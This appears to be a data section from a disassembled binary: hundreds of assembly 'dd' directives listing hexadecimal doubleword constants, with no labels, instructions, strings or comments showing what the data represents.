dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh
dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h
dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h
dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h
dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah
dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh
dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh
dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
dd 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h, 0F0FC8700h
dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h
dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh
dd 0AF918696h, 0C32D321Dh
dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h
dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h
dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h
dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh
dd 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h
dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h
dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh
dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h
dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh
dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh
dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch
dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h
dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h
dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh
dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h
dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h
dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h
dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh
dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h
dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h
dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh
dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh
dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h
dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh
dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h
dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h
dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h
dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h
dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h
dd 0D4E00FC7h, 6CA0F82Ah
dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h
dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch
dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h
dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h
dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh
dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah
dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h
dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh
dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h
dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h
dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h
dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h
dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h
dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh
dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h
dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh
dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h
dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh
dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h
dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h
dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h
dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h
dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh
dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh
dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h
dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h
dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h
dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h
dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h
dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh
dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h
dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh
dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh
dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h
dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh
dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh
dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh
dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h
dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h
dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h
dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h
dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h
dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h
dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh
dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h
dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
dd 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h, 0F826112Fh
dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h
dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h, 327736F2h
dd 0E7B82000h, 875C48Fh
dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h
dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah
dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h
dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h
dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h
dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h
dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h
dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh
dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh
dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h
dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h
dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h
dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch
dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h
dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h
dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh
dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h
dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh
dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h
dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh
dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh
dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h
dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh
dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh
dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h
dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh
dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h
dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h
dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh
dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h
dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h
dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh
dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h
dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch
dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h
dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h
dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh
dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah, 0B6A28304h
dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch, 25FA453Bh
dd 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh, 50176655h
dd 19458940h, 0B70FF200h
dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h
dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h
dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h
dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh
dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh
